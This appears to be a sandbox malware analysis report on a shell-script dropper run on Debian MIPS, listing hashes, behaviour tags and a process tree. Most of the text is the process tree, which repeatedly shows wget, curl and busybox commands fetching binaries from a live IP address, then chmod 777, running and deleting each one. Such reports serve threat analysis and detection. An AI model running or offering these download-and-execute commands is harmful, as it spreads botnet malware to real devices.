7a620d7381a5ef88f64ade5b1c27db231ef9df8d75795de3b1fb3c45382b5b0e

Analysis

max time kernel
135s
max time network
140s
platform
debian-9_mipsel
resource
debian9-mipsel-20240226-en
resource tags

arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
08/11/2024, 03:07

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
7a620d7381a5ef88f64ade5b1c27db231ef9df8d75795de3b1fb3c45382b5b0e.sh
Size 10KB
Sample241108-dmlevswphj
SHA256 7a620d7381a5ef88f64ade5b1c27db231ef9df8d75795de3b1fb3c45382b5b0e
MD5 537340669519cf5516bad109b8620b9d
SHA1 7193a11d35a3afc922db3777c99ee3f7e1ac79c1
SHA512 3804b241461a637f6c1d3423bc5177b84769f29e560007679c5970dac3ea6f8dc54f8ea137fa1691da5ac861b5c1eaabf70ef40619832ced769aedebe11150cd
SSDEEP 192:8sZ42kcyuinTgXH3Wy8ETSwYyJtjwYyJtm4Z42kZuilXH3Wyb:dNyuinTgXH3Wy8ETSwYyJtjwYyJtB8uQ
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
734	chmod
740	chmod
853	chmod
884	chmod
914	chmod
938	chmod
878	chmod
890	chmod
920	chmod
866	chmod
926	chmod
968	chmod
908	chmod
727	chmod
763	chmod
956	chmod
962	chmod
806	chmod
812	chmod
872	chmod
896	chmod
944	chmod
950	chmod
789	chmod
902	chmod
830	chmod
860	chmod
932	chmod

Executes dropped EXE 28 IoCs

Reads runtime system information 28 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/yE9tT1O3VyDw66eQJJJUDBfIF6M6J2Lokf	curl
File opened for modification	/tmp/yXl0N9sofm5zFNYbDCb1bMI1iVPw9zPCDf	curl
File opened for modification	/tmp/ZvK2coF9klmuo1a1fEdteAztKmSqZavHmG	curl
File opened for modification	/tmp/MM24ACXXHQd6U6jHTA2S4GdTaooqTpJkVf	curl
File opened for modification	/tmp/wgIFx2cQDklerWYwwPo0S2iJPXZZFz8R4f	curl
File opened for modification	/tmp/yE9tT1O3VyDw66eQJJJUDBfIF6M6J2Lokf	curl
File opened for modification	/tmp/MM24ACXXHQd6U6jHTA2S4GdTaooqTpJkVf	curl
File opened for modification	/tmp/43AsGf8JbQK8tP21xQxgGyiKfnGS1F5jxN	curl
File opened for modification	/tmp/43AsGf8JbQK8tP21xQxgGyiKfnGS1F5jxN	curl
File opened for modification	/tmp/yXl0N9sofm5zFNYbDCb1bMI1iVPw9zPCDf	curl
File opened for modification	/tmp/7w93mwfE71Ry2JYlP7lg030oxgiknePIHZ	curl
File opened for modification	/tmp/ZvK2coF9klmuo1a1fEdteAztKmSqZavHmG	curl
File opened for modification	/tmp/z2KrZB3uZFQCZjOKmzsyziTCMGRoWHv2dl	curl
File opened for modification	/tmp/z2KrZB3uZFQCZjOKmzsyziTCMGRoWHv2dl	curl
File opened for modification	/tmp/gHnckyxjHU7eriUJ6hFrUn6IEK9QGabLmj	curl
File opened for modification	/tmp/RAwqSlxUYzAuFk61IqPSG8vdYzSZDPYURF	curl
File opened for modification	/tmp/5vnYsS5eMc7h5SlOttXd3nvxweRFRur6Aj	curl
File opened for modification	/tmp/kfjDGrQn2fnT51PcUOuycSrMAacMbKPHQ9	curl
File opened for modification	/tmp/hl33UCrzoeH7juz27FwvkBCILjQE3cT3xh	curl
File opened for modification	/tmp/RAwqSlxUYzAuFk61IqPSG8vdYzSZDPYURF	curl
File opened for modification	/tmp/fISq9ae7joGqNmtqnv0enKKyZi9qYX2SWn	curl
File opened for modification	/tmp/wgIFx2cQDklerWYwwPo0S2iJPXZZFz8R4f	curl
File opened for modification	/tmp/kfjDGrQn2fnT51PcUOuycSrMAacMbKPHQ9	curl
File opened for modification	/tmp/5vnYsS5eMc7h5SlOttXd3nvxweRFRur6Aj	curl
File opened for modification	/tmp/hl33UCrzoeH7juz27FwvkBCILjQE3cT3xh	curl
File opened for modification	/tmp/fISq9ae7joGqNmtqnv0enKKyZi9qYX2SWn	curl
File opened for modification	/tmp/7w93mwfE71Ry2JYlP7lg030oxgiknePIHZ	curl
File opened for modification	/tmp/gHnckyxjHU7eriUJ6hFrUn6IEK9QGabLmj	curl

/tmp/7a620d7381a5ef88f64ade5b1c27db231ef9df8d75795de3b1fb3c45382b5b0e.sh
/tmp/7a620d7381a5ef88f64ade5b1c27db231ef9df8d75795de3b1fb3c45382b5b0e.sh
1⤵
PID:697
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:700
- /usr/bin/wget
  wget http://216.126.231.240/bins/yXl0N9sofm5zFNYbDCb1bMI1iVPw9zPCDf
  2⤵
  PID:707
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/yXl0N9sofm5zFNYbDCb1bMI1iVPw9zPCDf
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:715
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/yXl0N9sofm5zFNYbDCb1bMI1iVPw9zPCDf
  2⤵
  PID:725
- /bin/chmod
  chmod 777 yXl0N9sofm5zFNYbDCb1bMI1iVPw9zPCDf
  2⤵
  - File and Directory Permissions Modification
  PID:727
- /tmp/yXl0N9sofm5zFNYbDCb1bMI1iVPw9zPCDf
  ./yXl0N9sofm5zFNYbDCb1bMI1iVPw9zPCDf
  2⤵
  - Executes dropped EXE
  PID:728
- /bin/rm
  rm yXl0N9sofm5zFNYbDCb1bMI1iVPw9zPCDf
  2⤵
  PID:729
- /usr/bin/wget
  wget http://216.126.231.240/bins/43AsGf8JbQK8tP21xQxgGyiKfnGS1F5jxN
  2⤵
  PID:731
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/43AsGf8JbQK8tP21xQxgGyiKfnGS1F5jxN
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:732
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/43AsGf8JbQK8tP21xQxgGyiKfnGS1F5jxN
  2⤵
  PID:733
- /bin/chmod
  chmod 777 43AsGf8JbQK8tP21xQxgGyiKfnGS1F5jxN
  2⤵
  - File and Directory Permissions Modification
  PID:734
- /tmp/43AsGf8JbQK8tP21xQxgGyiKfnGS1F5jxN
  ./43AsGf8JbQK8tP21xQxgGyiKfnGS1F5jxN
  2⤵
  - Executes dropped EXE
  PID:735
- /bin/rm
  rm 43AsGf8JbQK8tP21xQxgGyiKfnGS1F5jxN
  2⤵
  PID:736
- /usr/bin/wget
  wget http://216.126.231.240/bins/z2KrZB3uZFQCZjOKmzsyziTCMGRoWHv2dl
  2⤵
  PID:737
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/z2KrZB3uZFQCZjOKmzsyziTCMGRoWHv2dl
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:738
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/z2KrZB3uZFQCZjOKmzsyziTCMGRoWHv2dl
  2⤵
  PID:739
- /bin/chmod
  chmod 777 z2KrZB3uZFQCZjOKmzsyziTCMGRoWHv2dl
  2⤵
  - File and Directory Permissions Modification
  PID:740
- /tmp/z2KrZB3uZFQCZjOKmzsyziTCMGRoWHv2dl
  ./z2KrZB3uZFQCZjOKmzsyziTCMGRoWHv2dl
  2⤵
  - Executes dropped EXE
  PID:742
- /bin/rm
  rm z2KrZB3uZFQCZjOKmzsyziTCMGRoWHv2dl
  2⤵
  PID:744
- /usr/bin/wget
  wget http://216.126.231.240/bins/7w93mwfE71Ry2JYlP7lg030oxgiknePIHZ
  2⤵
  PID:746
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/7w93mwfE71Ry2JYlP7lg030oxgiknePIHZ
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:752
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/7w93mwfE71Ry2JYlP7lg030oxgiknePIHZ
  2⤵
  PID:759
- /bin/chmod
  chmod 777 7w93mwfE71Ry2JYlP7lg030oxgiknePIHZ
  2⤵
  - File and Directory Permissions Modification
  PID:763
- /tmp/7w93mwfE71Ry2JYlP7lg030oxgiknePIHZ
  ./7w93mwfE71Ry2JYlP7lg030oxgiknePIHZ
  2⤵
  - Executes dropped EXE
  PID:765
- /bin/rm
  rm 7w93mwfE71Ry2JYlP7lg030oxgiknePIHZ
  2⤵
  PID:767
- /usr/bin/wget
  wget http://216.126.231.240/bins/MM24ACXXHQd6U6jHTA2S4GdTaooqTpJkVf
  2⤵
  PID:769
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/MM24ACXXHQd6U6jHTA2S4GdTaooqTpJkVf
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:777
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/MM24ACXXHQd6U6jHTA2S4GdTaooqTpJkVf
  2⤵
  PID:785
- /bin/chmod
  chmod 777 MM24ACXXHQd6U6jHTA2S4GdTaooqTpJkVf
  2⤵
  - File and Directory Permissions Modification
  PID:789
- /tmp/MM24ACXXHQd6U6jHTA2S4GdTaooqTpJkVf
  ./MM24ACXXHQd6U6jHTA2S4GdTaooqTpJkVf
  2⤵
  - Executes dropped EXE
  PID:791
- /bin/rm
  rm MM24ACXXHQd6U6jHTA2S4GdTaooqTpJkVf
  2⤵
  PID:795
- /usr/bin/wget
  wget http://216.126.231.240/bins/wgIFx2cQDklerWYwwPo0S2iJPXZZFz8R4f
  2⤵
  PID:796
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/wgIFx2cQDklerWYwwPo0S2iJPXZZFz8R4f
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:802
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/wgIFx2cQDklerWYwwPo0S2iJPXZZFz8R4f
  2⤵
  PID:805
- /bin/chmod
  chmod 777 wgIFx2cQDklerWYwwPo0S2iJPXZZFz8R4f
  2⤵
  - File and Directory Permissions Modification
  PID:806
- /tmp/wgIFx2cQDklerWYwwPo0S2iJPXZZFz8R4f
  ./wgIFx2cQDklerWYwwPo0S2iJPXZZFz8R4f
  2⤵
  - Executes dropped EXE
  PID:807
- /bin/rm
  rm wgIFx2cQDklerWYwwPo0S2iJPXZZFz8R4f
  2⤵
  PID:808
- /usr/bin/wget
  wget http://216.126.231.240/bins/yE9tT1O3VyDw66eQJJJUDBfIF6M6J2Lokf
  2⤵
  PID:809
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/yE9tT1O3VyDw66eQJJJUDBfIF6M6J2Lokf
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:810
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/yE9tT1O3VyDw66eQJJJUDBfIF6M6J2Lokf
  2⤵
  PID:811
- /bin/chmod
  chmod 777 yE9tT1O3VyDw66eQJJJUDBfIF6M6J2Lokf
  2⤵
  - File and Directory Permissions Modification
  PID:812
- /tmp/yE9tT1O3VyDw66eQJJJUDBfIF6M6J2Lokf
  ./yE9tT1O3VyDw66eQJJJUDBfIF6M6J2Lokf
  2⤵
  - Executes dropped EXE
  PID:813
- /bin/rm
  rm yE9tT1O3VyDw66eQJJJUDBfIF6M6J2Lokf
  2⤵
  PID:814
- /usr/bin/wget
  wget http://216.126.231.240/bins/gHnckyxjHU7eriUJ6hFrUn6IEK9QGabLmj
  2⤵
  PID:815
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/gHnckyxjHU7eriUJ6hFrUn6IEK9QGabLmj
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:816
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/gHnckyxjHU7eriUJ6hFrUn6IEK9QGabLmj
  2⤵
  PID:823
- /bin/chmod
  chmod 777 gHnckyxjHU7eriUJ6hFrUn6IEK9QGabLmj
  2⤵
  - File and Directory Permissions Modification
  PID:830
- /tmp/gHnckyxjHU7eriUJ6hFrUn6IEK9QGabLmj
  ./gHnckyxjHU7eriUJ6hFrUn6IEK9QGabLmj
  2⤵
  - Executes dropped EXE
  PID:831
- /bin/rm
  rm gHnckyxjHU7eriUJ6hFrUn6IEK9QGabLmj
  2⤵
  PID:834
- /usr/bin/wget
  wget http://216.126.231.240/bins/RAwqSlxUYzAuFk61IqPSG8vdYzSZDPYURF
  2⤵
  PID:835
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/RAwqSlxUYzAuFk61IqPSG8vdYzSZDPYURF
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:842
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/RAwqSlxUYzAuFk61IqPSG8vdYzSZDPYURF
  2⤵
  PID:849
- /bin/chmod
  chmod 777 RAwqSlxUYzAuFk61IqPSG8vdYzSZDPYURF
  2⤵
  - File and Directory Permissions Modification
  PID:853
- /tmp/RAwqSlxUYzAuFk61IqPSG8vdYzSZDPYURF
  ./RAwqSlxUYzAuFk61IqPSG8vdYzSZDPYURF
  2⤵
  - Executes dropped EXE
  PID:854
- /bin/rm
  rm RAwqSlxUYzAuFk61IqPSG8vdYzSZDPYURF
  2⤵
  PID:856
- /usr/bin/wget
  wget http://216.126.231.240/bins/5vnYsS5eMc7h5SlOttXd3nvxweRFRur6Aj
  2⤵
  PID:857
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/5vnYsS5eMc7h5SlOttXd3nvxweRFRur6Aj
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:858
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/5vnYsS5eMc7h5SlOttXd3nvxweRFRur6Aj
  2⤵
  PID:859
- /bin/chmod
  chmod 777 5vnYsS5eMc7h5SlOttXd3nvxweRFRur6Aj
  2⤵
  - File and Directory Permissions Modification
  PID:860
- /tmp/5vnYsS5eMc7h5SlOttXd3nvxweRFRur6Aj
  ./5vnYsS5eMc7h5SlOttXd3nvxweRFRur6Aj
  2⤵
  - Executes dropped EXE
  PID:861
- /bin/rm
  rm 5vnYsS5eMc7h5SlOttXd3nvxweRFRur6Aj
  2⤵
  PID:862
- /usr/bin/wget
  wget http://216.126.231.240/bins/ZvK2coF9klmuo1a1fEdteAztKmSqZavHmG
  2⤵
  PID:863
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/ZvK2coF9klmuo1a1fEdteAztKmSqZavHmG
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:864
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/ZvK2coF9klmuo1a1fEdteAztKmSqZavHmG
  2⤵
  PID:865
- /bin/chmod
  chmod 777 ZvK2coF9klmuo1a1fEdteAztKmSqZavHmG
  2⤵
  - File and Directory Permissions Modification
  PID:866
- /tmp/ZvK2coF9klmuo1a1fEdteAztKmSqZavHmG
  ./ZvK2coF9klmuo1a1fEdteAztKmSqZavHmG
  2⤵
  - Executes dropped EXE
  PID:867
- /bin/rm
  rm ZvK2coF9klmuo1a1fEdteAztKmSqZavHmG
  2⤵
  PID:868
- /usr/bin/wget
  wget http://216.126.231.240/bins/hl33UCrzoeH7juz27FwvkBCILjQE3cT3xh
  2⤵
  PID:869
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/hl33UCrzoeH7juz27FwvkBCILjQE3cT3xh
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:870
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/hl33UCrzoeH7juz27FwvkBCILjQE3cT3xh
  2⤵
  PID:871
- /bin/chmod
  chmod 777 hl33UCrzoeH7juz27FwvkBCILjQE3cT3xh
  2⤵
  - File and Directory Permissions Modification
  PID:872
- /tmp/hl33UCrzoeH7juz27FwvkBCILjQE3cT3xh
  ./hl33UCrzoeH7juz27FwvkBCILjQE3cT3xh
  2⤵
  - Executes dropped EXE
  PID:873
- /bin/rm
  rm hl33UCrzoeH7juz27FwvkBCILjQE3cT3xh
  2⤵
  PID:874
- /usr/bin/wget
  wget http://216.126.231.240/bins/kfjDGrQn2fnT51PcUOuycSrMAacMbKPHQ9
  2⤵
  PID:875
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/kfjDGrQn2fnT51PcUOuycSrMAacMbKPHQ9
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:876
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/kfjDGrQn2fnT51PcUOuycSrMAacMbKPHQ9
  2⤵
  PID:877
- /bin/chmod
  chmod 777 kfjDGrQn2fnT51PcUOuycSrMAacMbKPHQ9
  2⤵
  - File and Directory Permissions Modification
  PID:878
- /tmp/kfjDGrQn2fnT51PcUOuycSrMAacMbKPHQ9
  ./kfjDGrQn2fnT51PcUOuycSrMAacMbKPHQ9
  2⤵
  - Executes dropped EXE
  PID:879
- /bin/rm
  rm kfjDGrQn2fnT51PcUOuycSrMAacMbKPHQ9
  2⤵
  PID:880
- /usr/bin/wget
  wget http://216.126.231.240/bins/fISq9ae7joGqNmtqnv0enKKyZi9qYX2SWn
  2⤵
  PID:881
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/fISq9ae7joGqNmtqnv0enKKyZi9qYX2SWn
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:882
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/fISq9ae7joGqNmtqnv0enKKyZi9qYX2SWn
  2⤵
  PID:883
- /bin/chmod
  chmod 777 fISq9ae7joGqNmtqnv0enKKyZi9qYX2SWn
  2⤵
  - File and Directory Permissions Modification
  PID:884
- /tmp/fISq9ae7joGqNmtqnv0enKKyZi9qYX2SWn
  ./fISq9ae7joGqNmtqnv0enKKyZi9qYX2SWn
  2⤵
  - Executes dropped EXE
  PID:885
- /bin/rm
  rm fISq9ae7joGqNmtqnv0enKKyZi9qYX2SWn
  2⤵
  PID:886
- /usr/bin/wget
  wget http://216.126.231.240/bins/kfjDGrQn2fnT51PcUOuycSrMAacMbKPHQ9
  2⤵
  PID:887
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/kfjDGrQn2fnT51PcUOuycSrMAacMbKPHQ9
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:888
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/kfjDGrQn2fnT51PcUOuycSrMAacMbKPHQ9
  2⤵
  PID:889
- /bin/chmod
  chmod 777 kfjDGrQn2fnT51PcUOuycSrMAacMbKPHQ9
  2⤵
  - File and Directory Permissions Modification
  PID:890
- /tmp/kfjDGrQn2fnT51PcUOuycSrMAacMbKPHQ9
  ./kfjDGrQn2fnT51PcUOuycSrMAacMbKPHQ9
  2⤵
  - Executes dropped EXE
  PID:891
- /bin/rm
  rm kfjDGrQn2fnT51PcUOuycSrMAacMbKPHQ9
  2⤵
  PID:892
- /usr/bin/wget
  wget http://216.126.231.240/bins/fISq9ae7joGqNmtqnv0enKKyZi9qYX2SWn
  2⤵
  PID:893
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/fISq9ae7joGqNmtqnv0enKKyZi9qYX2SWn
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:894
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/fISq9ae7joGqNmtqnv0enKKyZi9qYX2SWn
  2⤵
  PID:895
- /bin/chmod
  chmod 777 fISq9ae7joGqNmtqnv0enKKyZi9qYX2SWn
  2⤵
  - File and Directory Permissions Modification
  PID:896
- /tmp/fISq9ae7joGqNmtqnv0enKKyZi9qYX2SWn
  ./fISq9ae7joGqNmtqnv0enKKyZi9qYX2SWn
  2⤵
  - Executes dropped EXE
  PID:897
- /bin/rm
  rm fISq9ae7joGqNmtqnv0enKKyZi9qYX2SWn
  2⤵
  PID:898
- /usr/bin/wget
  wget http://216.126.231.240/bins/hl33UCrzoeH7juz27FwvkBCILjQE3cT3xh
  2⤵
  PID:899
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/hl33UCrzoeH7juz27FwvkBCILjQE3cT3xh
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:900
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/hl33UCrzoeH7juz27FwvkBCILjQE3cT3xh
  2⤵
  PID:901
- /bin/chmod
  chmod 777 hl33UCrzoeH7juz27FwvkBCILjQE3cT3xh
  2⤵
  - File and Directory Permissions Modification
  PID:902
- /tmp/hl33UCrzoeH7juz27FwvkBCILjQE3cT3xh
  ./hl33UCrzoeH7juz27FwvkBCILjQE3cT3xh
  2⤵
  - Executes dropped EXE
  PID:903
- /bin/rm
  rm hl33UCrzoeH7juz27FwvkBCILjQE3cT3xh
  2⤵
  PID:904
- /usr/bin/wget
  wget http://216.126.231.240/bins/43AsGf8JbQK8tP21xQxgGyiKfnGS1F5jxN
  2⤵
  PID:905
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/43AsGf8JbQK8tP21xQxgGyiKfnGS1F5jxN
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:906
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/43AsGf8JbQK8tP21xQxgGyiKfnGS1F5jxN
  2⤵
  PID:907
- /bin/chmod
  chmod 777 43AsGf8JbQK8tP21xQxgGyiKfnGS1F5jxN
  2⤵
  - File and Directory Permissions Modification
  PID:908
- /tmp/43AsGf8JbQK8tP21xQxgGyiKfnGS1F5jxN
  ./43AsGf8JbQK8tP21xQxgGyiKfnGS1F5jxN
  2⤵
  - Executes dropped EXE
  PID:909
- /bin/rm
  rm 43AsGf8JbQK8tP21xQxgGyiKfnGS1F5jxN
  2⤵
  PID:910
- /usr/bin/wget
  wget http://216.126.231.240/bins/z2KrZB3uZFQCZjOKmzsyziTCMGRoWHv2dl
  2⤵
  PID:911
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/z2KrZB3uZFQCZjOKmzsyziTCMGRoWHv2dl
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:912
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/z2KrZB3uZFQCZjOKmzsyziTCMGRoWHv2dl
  2⤵
  PID:913
- /bin/chmod
  chmod 777 z2KrZB3uZFQCZjOKmzsyziTCMGRoWHv2dl
  2⤵
  - File and Directory Permissions Modification
  PID:914
- /tmp/z2KrZB3uZFQCZjOKmzsyziTCMGRoWHv2dl
  ./z2KrZB3uZFQCZjOKmzsyziTCMGRoWHv2dl
  2⤵
  - Executes dropped EXE
  PID:915
- /bin/rm
  rm z2KrZB3uZFQCZjOKmzsyziTCMGRoWHv2dl
  2⤵
  PID:916
- /usr/bin/wget
  wget http://216.126.231.240/bins/7w93mwfE71Ry2JYlP7lg030oxgiknePIHZ
  2⤵
  PID:917
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/7w93mwfE71Ry2JYlP7lg030oxgiknePIHZ
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:918
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/7w93mwfE71Ry2JYlP7lg030oxgiknePIHZ
  2⤵
  PID:919
- /bin/chmod
  chmod 777 7w93mwfE71Ry2JYlP7lg030oxgiknePIHZ
  2⤵
  - File and Directory Permissions Modification
  PID:920
- /tmp/7w93mwfE71Ry2JYlP7lg030oxgiknePIHZ
  ./7w93mwfE71Ry2JYlP7lg030oxgiknePIHZ
  2⤵
  - Executes dropped EXE
  PID:921
- /bin/rm
  rm 7w93mwfE71Ry2JYlP7lg030oxgiknePIHZ
  2⤵
  PID:922
- /usr/bin/wget
  wget http://216.126.231.240/bins/yXl0N9sofm5zFNYbDCb1bMI1iVPw9zPCDf
  2⤵
  PID:923
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/yXl0N9sofm5zFNYbDCb1bMI1iVPw9zPCDf
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:924
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/yXl0N9sofm5zFNYbDCb1bMI1iVPw9zPCDf
  2⤵
  PID:925
- /bin/chmod
  chmod 777 yXl0N9sofm5zFNYbDCb1bMI1iVPw9zPCDf
  2⤵
  - File and Directory Permissions Modification
  PID:926
- /tmp/yXl0N9sofm5zFNYbDCb1bMI1iVPw9zPCDf
  ./yXl0N9sofm5zFNYbDCb1bMI1iVPw9zPCDf
  2⤵
  - Executes dropped EXE
  PID:927
- /bin/rm
  rm yXl0N9sofm5zFNYbDCb1bMI1iVPw9zPCDf
  2⤵
  PID:928
- /usr/bin/wget
  wget http://216.126.231.240/bins/wgIFx2cQDklerWYwwPo0S2iJPXZZFz8R4f
  2⤵
  PID:929
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/wgIFx2cQDklerWYwwPo0S2iJPXZZFz8R4f
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:930
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/wgIFx2cQDklerWYwwPo0S2iJPXZZFz8R4f
  2⤵
  PID:931
- /bin/chmod
  chmod 777 wgIFx2cQDklerWYwwPo0S2iJPXZZFz8R4f
  2⤵
  - File and Directory Permissions Modification
  PID:932
- /tmp/wgIFx2cQDklerWYwwPo0S2iJPXZZFz8R4f
  ./wgIFx2cQDklerWYwwPo0S2iJPXZZFz8R4f
  2⤵
  - Executes dropped EXE
  PID:933
- /bin/rm
  rm wgIFx2cQDklerWYwwPo0S2iJPXZZFz8R4f
  2⤵
  PID:934
- /usr/bin/wget
  wget http://216.126.231.240/bins/yE9tT1O3VyDw66eQJJJUDBfIF6M6J2Lokf
  2⤵
  PID:935
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/yE9tT1O3VyDw66eQJJJUDBfIF6M6J2Lokf
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:936
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/yE9tT1O3VyDw66eQJJJUDBfIF6M6J2Lokf
  2⤵
  PID:937
- /bin/chmod
  chmod 777 yE9tT1O3VyDw66eQJJJUDBfIF6M6J2Lokf
  2⤵
  - File and Directory Permissions Modification
  PID:938
- /tmp/yE9tT1O3VyDw66eQJJJUDBfIF6M6J2Lokf
  ./yE9tT1O3VyDw66eQJJJUDBfIF6M6J2Lokf
  2⤵
  - Executes dropped EXE
  PID:939
- /bin/rm
  rm yE9tT1O3VyDw66eQJJJUDBfIF6M6J2Lokf
  2⤵
  PID:940
- /usr/bin/wget
  wget http://216.126.231.240/bins/MM24ACXXHQd6U6jHTA2S4GdTaooqTpJkVf
  2⤵
  PID:941
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/MM24ACXXHQd6U6jHTA2S4GdTaooqTpJkVf
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:942
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/MM24ACXXHQd6U6jHTA2S4GdTaooqTpJkVf
  2⤵
  PID:943
- /bin/chmod
  chmod 777 MM24ACXXHQd6U6jHTA2S4GdTaooqTpJkVf
  2⤵
  - File and Directory Permissions Modification
  PID:944
- /tmp/MM24ACXXHQd6U6jHTA2S4GdTaooqTpJkVf
  ./MM24ACXXHQd6U6jHTA2S4GdTaooqTpJkVf
  2⤵
  - Executes dropped EXE
  PID:945
- /bin/rm
  rm MM24ACXXHQd6U6jHTA2S4GdTaooqTpJkVf
  2⤵
  PID:946
- /usr/bin/wget
  wget http://216.126.231.240/bins/RAwqSlxUYzAuFk61IqPSG8vdYzSZDPYURF
  2⤵
  PID:947
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/RAwqSlxUYzAuFk61IqPSG8vdYzSZDPYURF
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:948
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/RAwqSlxUYzAuFk61IqPSG8vdYzSZDPYURF
  2⤵
  PID:949
- /bin/chmod
  chmod 777 RAwqSlxUYzAuFk61IqPSG8vdYzSZDPYURF
  2⤵
